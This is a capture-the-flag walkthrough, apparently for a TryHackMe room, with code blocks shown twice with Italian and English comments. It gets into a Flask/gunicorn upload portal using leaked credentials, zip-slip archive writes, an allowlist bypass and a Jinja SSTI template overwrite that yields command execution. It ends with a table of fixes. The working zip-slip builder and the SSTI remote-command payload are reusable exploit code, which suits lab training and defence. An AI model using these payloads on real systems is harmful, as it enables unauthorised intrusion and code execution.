- Credentials in a multi-line HTML comment at
/login; login → session cookie. - Zip-slip: the upload extracts .zip entries without sanitizing
../→ arbitrary write outside the folder. - Allowlist bypass: the check inspects the files declared in the manifest, not those extracted.
- From write to RCE: overwrite a Jinja template with an SSTI payload, then hammer
/dashboardwith the fresh-worker trick until the poisoned template is served.
Swap <target> for the box IP and <PASSWORD> for the password you read in step [02]: the app answers on port 5000. Commands run on your machine unless the step says «on the target». You need: nmap, curl, python3.
[01] Recon
Two ports: SSH (22) and a Flask app served by gunicorn (5000). SSH is off the table, so 5000 is the only road; the root redirects to /login.
# scan nmap -Pn -sV -p- <target> 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 5000/tcp open http Gunicorn # la root manda al login curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" http://<target>:5000/ 302 http://<target>:5000/login
# scan nmap -Pn -sV -p- <target> 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 5000/tcp open http Gunicorn # the root sends you to login curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" http://<target>:5000/ 302 http://<target>:5000/login
[02] The credentials in the comment (and the cookie)
Web-CTF rule one: read the source. The credentials sit in a multi-line HTML comment (a <!--.*?--> regex without DOTALL misses it).
# scarica la pagina di login e leggi il commento curl -s http://<target>:5000/login | sed -n '/<!--/,/-->/p' user: concierge pass: StayNoticed████ # mascherata: policy # effettua il login salvando il cookie di sessione in cookie.txt curl -s -c cookie.txt -X POST http://<target>:5000/login \ -d "username=concierge&password=<PASSWORD>" # la dashboard ora è raggiungibile con -b cookie.txt
# fetch the login page and read the comment curl -s http://<target>:5000/login | sed -n '/<!--/,/-->/p' user: concierge pass: StayNoticed████ # masked: policy # log in, saving the session cookie into cookie.txt curl -s -c cookie.txt -X POST http://<target>:5000/login \ -d "username=concierge&password=<PASSWORD>" # the dashboard is now reachable with -b cookie.txt
The dashboard lets you upload a "shell": a .zip with a shell.json manifest listing assets. Everything starts here.
[03] Zip-slip: the write primitive
A .zip can contain entries whose name includes ../. If the extractor does a naive join(dest, entry.name) without normalizing, those ../ climb the tree and write outside the intended folder. First I upload a normal shell to see where it lands and read its id.
# 1) costruisci una shell benigna python3 - <<'EOF' import zipfile, json z = zipfile.ZipFile("shell.zip","w") z.writestr("shell.json", json.dumps({"name":"probe","assets":["bg.png"]})) z.writestr("bg.png", b"\x89PNG\r\n\x1a\n") z.close() EOF # 2) caricala e 3) leggi l'<id> assegnato dalla dashboard curl -s -b cookie.txt -F "shell=@shell.zip" http://<target>:5000/upload -o /dev/null ID=$(curl -s -b cookie.txt http://<target>:5000/dashboard | grep -oP 'shells/\K[0-9a-f]+' | tail -1) echo "ID=$ID"
# 1) build a benign shell python3 - <<'EOF' import zipfile, json z = zipfile.ZipFile("shell.zip","w") z.writestr("shell.json", json.dumps({"name":"probe","assets":["bg.png"]})) z.writestr("bg.png", b"\x89PNG\r\n\x1a\n") z.close() EOF # 2) upload it and 3) read the <id> the dashboard assigns curl -s -b cookie.txt -F "shell=@shell.zip" http://<target>:5000/upload -o /dev/null ID=$(curl -s -b cookie.txt http://<target>:5000/dashboard | grep -oP 'shells/\K[0-9a-f]+' | tail -1) echo "ID=$ID"
Assets are served at /shells/<id>/<file>: that's my read channel. Now I prove the slip by writing into that same folder with an entry that climbs two levels.
# entry ../../shells/$ID/p2.json -> deve riapparire servita python3 - "$ID" <<'EOF' import zipfile, json, sys ID=sys.argv[1] z=zipfile.ZipFile("slip.zip","w") z.writestr("shell.json", json.dumps({"name":"slip","assets":["bg.png"]})) z.writestr("bg.png", b"\x89PNG\r\n\x1a\n") z.writestr(f"../../shells/{ID}/p2.json", '{"slipped":true}') z.close() EOF curl -s -b cookie.txt -F "shell=@slip.zip" http://<target>:5000/upload -o /dev/null curl -s -o /dev/null -w "%{http_code}\n" http://<target>:5000/shells/$ID/p2.json 200 # scrittura fuori cartella CONFERMATA
# entry ../../shells/$ID/p2.json -> must reappear served python3 - "$ID" <<'EOF' import zipfile, json, sys ID=sys.argv[1] z=zipfile.ZipFile("slip.zip","w") z.writestr("shell.json", json.dumps({"name":"slip","assets":["bg.png"]})) z.writestr("bg.png", b"\x89PNG\r\n\x1a\n") z.writestr(f"../../shells/{ID}/p2.json", '{"slipped":true}') z.close() EOF curl -s -b cookie.txt -F "shell=@slip.zip" http://<target>:5000/upload -o /dev/null curl -s -o /dev/null -w "%{http_code}\n" http://<target>:5000/shells/$ID/p2.json 200 # write-outside CONFIRMED
/shells/<id>/<file> goes through safe_join (no ../ in the URL) and archive symlinks land as text files. I can only read back what I write under shells/ — reading elsewhere needs execution.
[04] The allowlist looking the wrong way
The portal claims it only accepts png jpg gif svg css json. But the check iterates over the manifest's assets list — what the archive declares — not the files actually extracted. An undeclared file (an .html template) still lands on disk. Allowlist + zip-slip = write any file, anywhere. Note: the SSTI payload next needs NO <id>, because ../../ from the shell dir lands in the app base.
[05] From "I write a file" to RCE: template poisoning + fresh-worker
Arbitrary write isn't execution yet. Several obvious attempts don't pay off (direct SSTI on name: escaped; SSH key in homes: no write; cron: not root). The right vector is the app: overwrite a Jinja template, which Flask evaluates server-side. I write the payload in place of login.html AND dashboard.html.
# costruisci uno zip che sovrascrive i template con un payload SSTI python3 - <<'EOF' import zipfile, json P = 'ZQ7X={{ 7*7 }}<pre>{{ config.__class__.__init__.__globals__["os"].popen(request.args.get("c","id")).read() }}</pre>' z = zipfile.ZipFile("rce.zip","w") z.writestr("shell.json", json.dumps({"name":"rce","assets":["bg.png"]})) z.writestr("bg.png", b"\x89PNG\r\n\x1a\n") for t in ("login.html","dashboard.html"): z.writestr(f"../../templates/{t}", P) # zip-slip nella dir dei template z.close() EOF curl -s -b cookie.txt -F "shell=@rce.zip" http://<target>:5000/upload -o /dev/null
# build a zip that overwrites the templates with an SSTI payload python3 - <<'EOF' import zipfile, json P = 'ZQ7X={{ 7*7 }}<pre>{{ config.__class__.__init__.__globals__["os"].popen(request.args.get("c","id")).read() }}</pre>' z = zipfile.ZipFile("rce.zip","w") z.writestr("shell.json", json.dumps({"name":"rce","assets":["bg.png"]})) z.writestr("bg.png", b"\x89PNG\r\n\x1a\n") for t in ("login.html","dashboard.html"): z.writestr(f"../../templates/{t}", P) # zip-slip into the templates dir z.close() EOF curl -s -b cookie.txt -F "shell=@rce.zip" http://<target>:5000/upload -o /dev/null
Gunicorn has several workers and no auto-reload; Jinja caches each template on that worker's first render. login.html is already cached everywhere, so the poisoned file is ignored.
dashboard.html is served far less: hammering /dashboard, sooner or later you hit a worker loading it for the first time — poisoned. The ZQ7X marker tells you when. The loop below iterates until it finds it, then reads the command output.
# martella /dashboard finché risponde il worker avvelenato (marker ZQ7X) for i in $(seq 1 80); do out=$(curl -s -b cookie.txt "http://<target>:5000/dashboard?c=id") echo "$out" | grep -q ZQ7X && { echo "$out" | tr -d '\n' | grep -oP '(?<=<pre>).*?(?=</pre>)'; break; } done uid=996(roomservice) gid=996(roomservice) # RCE come roomservice
# hammer /dashboard until the poisoned worker answers (marker ZQ7X) for i in $(seq 1 80); do out=$(curl -s -b cookie.txt "http://<target>:5000/dashboard?c=id") echo "$out" | grep -q ZQ7X && { echo "$out" | tr -d '\n' | grep -oP '(?<=<pre>).*?(?=</pre>)'; break; } done uid=996(roomservice) gid=996(roomservice) # RCE as roomservice
[06] The flag — and the hook red herring
Same loop, just change the command: I read the flag in roomservice's home. To be clear: the "automation hooks" the room promises do not exist in the running app (I tested ~900 key names, five manifest shapes, separate files and network callbacks: none run). A red herring, and spotting it is part of the challenge.
# stesso loop di [05], stavolta il comando legge la flag: for i in $(seq 1 80); do out=$(curl -s -b cookie.txt "http://<target>:5000/dashboard?c=cat%20/home/roomservice/flag.txt") echo "$out" | grep -q ZQ7X && { echo "$out" | tr -d '\n' | grep -oP '(?<=<pre>).*?(?=</pre>)'; break; } done THM{████████████████████} # in chiaro solo sul TUO target (qui: policy)
# same loop as [05], this time the command reads the flag: for i in $(seq 1 80); do out=$(curl -s -b cookie.txt "http://<target>:5000/dashboard?c=cat%20/home/roomservice/flag.txt") echo "$out" | grep -q ZQ7X && { echo "$out" | tr -d '\n' | grep -oP '(?<=<pre>).*?(?=</pre>)'; break; } done THM{████████████████████} # cleartext only on YOUR target (here: policy)
THM{████████████████████}
You won't find the flag here: the value itself teaches nothing, and half the fun is getting there. The methodology above is complete and reproducible — the last Enter is yours to press.
[07] Defense
| Weakness | Fix |
|---|---|
| Zip-slip on extraction | Normalize and verify the resolved path stays inside dest (os.path.realpath + prefix check) |
| Allowlist over declared files | Validate the actually-extracted files, not the manifest; reject the whole archive on extras |
| Template injection via arbitrary write | Template dir not writable by the web process (owner root, 0555); Jinja SandboxedEnvironment; immutable deploy |
Three classic mistakes — trusting an archive's filenames, validating the wrong thing, and a template engine evaluating input — plus a narrative red herring. The name says it all: a "slip" in a zip that becomes a shell. In one line: never trust what an archive claims to be, nor where it says it wants to extract.